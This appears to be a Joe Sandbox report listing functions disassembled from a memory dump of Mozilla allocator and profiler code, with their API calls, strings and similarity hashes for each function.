Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: e4b8aed1b2c8ba6589150c7769a132b10113f4e096c4e4c4f7513a6046e24a51
Instruction ID: ca15ead7abdd591184ef5524d835f91c69616188835377c7c7add84086b4d2d2
Opcode Fuzzy Hash: e4b8aed1b2c8ba6589150c7769a132b10113f4e096c4e4c4f7513a6046e24a51
Instruction Fuzzy Hash: D1C28C71A057418FD718CF29C980716BBE1AFC5328F28CA6DE4B98B795D771E802CB85

Function 6C613E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C637770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>al,?,?,?,6C613E7D,?,?), ref: 6C63777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C613F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C613F5C
VerSetConditionMask.NTDLL ref: 6C613F8D
VerSetConditionMask.NTDLL ref: 6C613F99
VerSetConditionMask.NTDLL ref: 6C613FA0
VerSetConditionMask.NTDLL ref: 6C613FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C613FB4

Strings

nvd3d9wrap.dll, xrefs: 6C614466
C>al, xrefs: 6C613E93
nvinit.dll, xrefs: 6C614479

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>al$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-358638614
Opcode ID: 188e91e0ab3441ebac06793a2a27b882dfabce8fa8eb588c5cf5d77dcd7f1047
Instruction ID: a3de35e142da3a604f3ed5cacf9f78f510855dbfe2d9b4d0851cf0d908416adb
Opcode Fuzzy Hash: 188e91e0ab3441ebac06793a2a27b882dfabce8fa8eb588c5cf5d77dcd7f1047
Instruction Fuzzy Hash: 36521471A14B458FD714DF34C880ABB77E9AF89308F54892DD5928BB82CB74F909CB64

Function 6C5EFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E7B8), ref: 6C5EFF81
LeaveCriticalSection.KERNEL32(6C65E7B8), ref: 6C5F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5F0240
EnterCriticalSection.KERNEL32(6C65E768), ref: 6C5F025B
LeaveCriticalSection.KERNEL32(6C65E768), ref: 6C5F027B

Strings

MOZ_CRASH(), xrefs: 6C5F0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5EFE99, 6C5EFEB7, 6C5EFED3, 6C5F0DB8, 6C5F0DD3, 6C5F19B4, 6C5F1A10

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 54afef7c923a436abf2e3214bf2ae0c9cc941ec08ffcc7981788af6a3610c2d7
Instruction ID: 7cac66750ce00e5db87a4f48346f3dca5300bc40a37f1804b7c3cb3584cba78f
Opcode Fuzzy Hash: 54afef7c923a436abf2e3214bf2ae0c9cc941ec08ffcc7981788af6a3610c2d7
Instruction Fuzzy Hash: C9B2AC716057418FD718CF29C990716BBE1AF85328F28CA6DE87A8B795D770E842CF81

Function 6C625600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C625E79, 6C625E8F
data, xrefs: 6C626131
schema, xrefs: 6C62606D
ProfileBuffer parse error: %s, xrefs: 6C625AC8, 6C625CBB
expected a Count entry, xrefs: 6C625AC3
expected a Time entry, xrefs: 6C625CB6

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: dc85d256d6fa40f593e5d1e1fea29abefa4784976a53fc30cac6017f9c889bfd
Instruction ID: 64ba37ac68637a1cd3114096b1dc6f4ae59c820857f686467cde4e1ea25402cb
Opcode Fuzzy Hash: dc85d256d6fa40f593e5d1e1fea29abefa4784976a53fc30cac6017f9c889bfd
Instruction Fuzzy Hash: 99924B71A083418FD724CF28C490B9ABBE1BFC9308F54891DE59A9B755DB34E809CF96

Function 6C622E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C622ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C622EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C622F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C623214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C623242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6236BF

Strings

get , xrefs: 6C623205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C62378D
set , xrefs: 6C6236EC

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 3c03de85279720356142e8d1ee689b4b8b4d0c75f7ef6068e95006ae894188d2
Instruction ID: 2bbaf9ac8611a2166b674b50ad27c7d967be9376fb0d356d859332d621596b8c
Opcode Fuzzy Hash: 3c03de85279720356142e8d1ee689b4b8b4d0c75f7ef6068e95006ae894188d2
Instruction Fuzzy Hash: A8325D706083818FD324CF24C4906AEBBE6AFC9318F54882DE5D987751DB35E94ACF5A

Function 6C617E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C617ECF, 6C618335
data, xrefs: 6C618280, 6C6183E1
schema, xrefs: 6C6181E3, 6C618311
(pre-xul), xrefs: 6C617E88
vel, xrefs: 6C618207

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vel
API String ID: 3412268980-2347612338
Opcode ID: 70a89d2acef4b725469917207133d599f6a679d77923e29b81dc7b7afd530879
Instruction ID: a2dee28258ce405f9d142ab598cae22243b18a40ed064ca2247ca7ee193780bb
Opcode Fuzzy Hash: 70a89d2acef4b725469917207133d599f6a679d77923e29b81dc7b7afd530879
Instruction Fuzzy Hash: A3E18EB1A043408BC710CF68C84065BFBEABFD9318F558A2DE899D7790DBB0DD498B95

Function 6C5F5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2
memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C5F7652

Strings

MOZ_CRASH(), xrefs: 6C5F7BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5F730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5F7BCD, 6C5F7C1F, 6C5F7C34, 6C5F80FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5F72E3
ewcl, xrefs: 6C5F5E9C, 6C5F5F22, 6C5F61ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5F72F8

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewcl
API String ID: 2613674957-3907735712
Opcode ID: f5ce22cf505a7429fec9a3e65efe89fbf5c0404e97cb9b90d98344c79bb2d07f
Instruction ID: 49c2772cc89f3f6c2ef2451e7c4258f5a784cb1be34daf2a0bb4fd035183f610
Opcode Fuzzy Hash: f5ce22cf505a7429fec9a3e65efe89fbf5c0404e97cb9b90d98344c79bb2d07f
Instruction Fuzzy Hash: ED337B716067018FD308CF29C990615BBE2BF85328F29C6ADE9798B7A5D771E842CF41

Function 6C5FD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD4F2
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD50B

Part of subcall function 6C5DCFE0: EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5DCFF6
Part of subcall function 6C5DCFE0: LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD52E
EnterCriticalSection.KERNEL32(6C65E7DC), ref: 6C5FD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FD6A6
LeaveCriticalSection.KERNEL32(6C65E7DC), ref: 6C5FD712
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FD7EA

Strings

<jemalloc>, xrefs: 6C5FD827
: (malloc) Error initializing arena, xrefs: 6C5FD82C

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 959b063e13700530899164c9e8296891fead730d966f4d517184c7aae98a2f76
Instruction ID: adab83503d4f534160065a0d6c0466094fafa7585ceb02c8e15dfb06983f35d6
Opcode Fuzzy Hash: 959b063e13700530899164c9e8296891fead730d966f4d517184c7aae98a2f76
Instruction Fuzzy Hash: B991E671A057018FDB18CF29C89072AB7E1FB89314F65492EE56AC7B81D734E846CF86

Function 6C634EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C634EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C634F2E
moz_xmalloc.MOZGLUE ref: 6C634F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C634F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6352E6
Sleep.KERNEL32(00000010), ref: 6C635481
free.MOZGLUE(?), ref: 6C635498

Strings

(, xrefs: 6C635250

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 65558686dafbe9cc5c36513b1a87a4807918db902c2c969d079507030a9900c4
Instruction ID: 17d5f2cec0c5edce6fbc3945e0e8149e0dc2a2fb4a00bb3246ed1e66fae5cc97
Opcode Fuzzy Hash: 65558686dafbe9cc5c36513b1a87a4807918db902c2c969d079507030a9900c4
Instruction Fuzzy Hash: A0F1F371A18B008FC716DF39C89062BB7F5AFD6384F45872EF84AA7651DB31D8428B85

Function 6C5F9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5F9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C5F9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5F9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C5FA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5FA8B1, 6C5FA8D4, 6C5FA8EF

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: ea4c90d9e752687343f05b2779745a953e1c4d2d19bfae41b9c233d50a2ed5ac
Instruction ID: f3e17908c496ad3808370fe0b65830060b1c6b4bda7ed4468f47d1f4d58f2bda
Opcode Fuzzy Hash: ea4c90d9e752687343f05b2779745a953e1c4d2d19bfae41b9c233d50a2ed5ac
Instruction Fuzzy Hash: 6E726C72A057118FD708CF29C940615FBE1BF89328F2AC66DE8699B791D375E842CF81

Function 6C622C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C622C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C622C61

Part of subcall function 6C5D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5D4E5A
Part of subcall function 6C5D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5D4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C622C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C622E2D

Part of subcall function 6C5E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5E81DE

Strings

(root), xrefs: 6C62354F
ProfileBuffer parse error: %s, xrefs: 6C622E3B
expected a Time entry, xrefs: 6C622E36

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 3fc6e3b21afc5fb85b76c0c1477065f06cb198d8c8ec7c0ab94e3b91b4c5ddd8
Instruction ID: 7c0315decc3cfe55f92c1dff790d5e4f86b191e4295c62bb6e862579fcc93fd8
Opcode Fuzzy Hash: 3fc6e3b21afc5fb85b76c0c1477065f06cb198d8c8ec7c0ab94e3b91b4c5ddd8
Instruction Fuzzy Hash: 4591CF706087408FC724CF24C48069EB7E5AFCA368F508D2DE59A9B750DB34D949CF5A

Function 6C639E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C639F3D
__aulldiv.LIBCMT ref: 6C639F77
__aullrem.LIBCMT ref: 6C639F8C
__aulldiv.LIBCMT ref: 6C63A023

Strings

-Infinity, xrefs: 6C639E60, 6C639E7B
NaN, xrefs: 6C639EAB

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 2547baa74b8a9d7c537d0222108f279f98d0d1de98271610e428ed809b505059
Instruction ID: bf78aff0c190cd5e576f458b8ea03b61670c9ddb3bc15d65e8463fac0895bfc1
Opcode Fuzzy Hash: 2547baa74b8a9d7c537d0222108f279f98d0d1de98271610e428ed809b505059
Instruction Fuzzy Hash: D8C1B271E043288BDF14CF98C8407DEB7B6EF89308F546529D409ABB81DB70AC45CB99

Function 6C5DD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C5DDE7F
, xrefs: 6C5DDA88
8, xrefs: 6C5DDC08
0, xrefs: 6C5DDC7F
-, xrefs: 6C5DD7DD
@, xrefs: 6C5DDAF6
0, xrefs: 6C5DD852
1, xrefs: 6C5DDBDD

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 1f4ee1e053619c69e7e5d3de91a50fefdaa2f8fabd50e127471d6a79557af6b9
Instruction ID: 683ad62dc0fb9157887a6b4d3c0f9c90a4f09d33138f5c9a463ef234272fe6d1
Opcode Fuzzy Hash: 1f4ee1e053619c69e7e5d3de91a50fefdaa2f8fabd50e127471d6a79557af6b9
Instruction Fuzzy Hash: C362BE7150C3458FD711CF2CC89076ABBF2AF86358F1A8A4DE4D54BA51C335A885CFAA

Function 6C64545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C648A4B

Strings

~q]l, xrefs: 6C64921F, 6C649269, 6C645703, 6C649459, 6C6456C7, 6C645740, 6C64948F

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset
String ID: ~q]l
API String ID: 2221118986-3028681918
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: cee5edf43f4068935e0553135b682d0f28df9ff1d323248eb2cf0813c2387819
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 80B10972E0121ACFDB14CF68CC907E9B7B6EF85314F1882A9C549EB791D7309989CB94

Function 6C64542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C64925C

Strings

~q]l, xrefs: 6C64921F, 6C649269, 6C645703, 6C649459, 6C6456C7, 6C645740, 6C64948F

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset
String ID: ~q]l
API String ID: 2221118986-3028681918
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 146dcedab37ed06f50cdefe45d16bd9a32bef373e5c947ab3528bcb5b1f9a4c6
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ECB1D572E0420A8FDB14CF68C8816EDB7B6AF85314F148269C949EB795D730A989CB94

Function 6C5DBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5DC1CB
__aulldiv.LIBCMT ref: 6C5DC24C
__aulldiv.LIBCMT ref: 6C5DC348
__aullrem.LIBCMT ref: 6C5DC365
__aulldiv.LIBCMT ref: 6C5DC37D

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 6f5acbd1c479d881d300c37d14742692e964ccd1c93c16926627f6bdf8861578
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 12321532B147119FC718DE2CC890A5ABBE6AFC9310F0A866DE895CB395D734ED05CB91

Function 6C616CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C616D45
